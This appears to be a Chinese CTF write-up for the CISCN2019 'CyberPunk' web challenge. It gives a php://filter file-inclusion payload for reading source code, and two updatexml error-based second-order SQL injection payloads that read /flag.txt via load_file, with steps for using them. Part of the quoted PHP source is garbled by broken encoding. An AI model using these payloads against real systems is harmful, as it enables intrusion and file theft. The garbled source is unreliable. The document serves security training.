NO.3-12 [CISCN2019 华北赛区 Day1 Web5]CyberPunk

解题过程

首先进入题目页面

看起来没有什么特别的,就是一个可以提交信息的页面。查看响应报文也没有什么提示,但是在网页注释里有东西。


这里可能有一个文件包含,尝试payload

http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php

结果得到了当前页面经过加密后的源码

NO.3-12 [CISCN2019 华北赛区 Day1 Web5]CyberPunk_第1张图片

有关伪协议的内容,可以大致参考下这篇文章:https://www.cnblogs.com/dubhe-/p/9997842.html


//HTML页面的代码省略,保留之前说的注释

 

用同样的方法,根据表单中暴露的位置,获取confirm.php,change.php,search.php等页面的内容。

query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订åä


query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "

å§å:".$row['user_name']."

, çµè¯:".$row['phone']."

, å°å:".$row['address']."

"; } else { $msg = "æªæ¾å°è®¢å!"; } }else { $msg = "ä¿¡æ¯ä¸å¨"; } ?> #无用的HTML代码省略

分析代码可以知道,每个涉及查询的界面都过滤了很多东西来防止SQL注入,而且过滤的内容非常广泛,很难进行注入。

但是尽管username和phone过滤非常严格,而address却只是进行了简单的转义。经过分析便找到了可以利用的地方。这里提取了一些change.php中和address相关的部分。

$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }

可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。

思路有了以后,接下来就是构造payload,下面将借助报错注入来构造payload。

payload构造

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

直接load_file不能显示全,这里分两次构造payload。

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

结果如下

NO.3-12 [CISCN2019 华北赛区 Day1 Web5]CyberPunk_第2张图片

NO.3-12 [CISCN2019 华北赛区 Day1 Web5]CyberPunk_第3张图片

payload使用

两个payload的使用方法为:

先在初始页面随便输数据,记住姓名电话

接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,比如1,这样就能看到报错页面。

如果想要使用新的payload,只需要删除订单在重复以上操作即可。

你可能感兴趣的:(BUUCTF,SQL注入)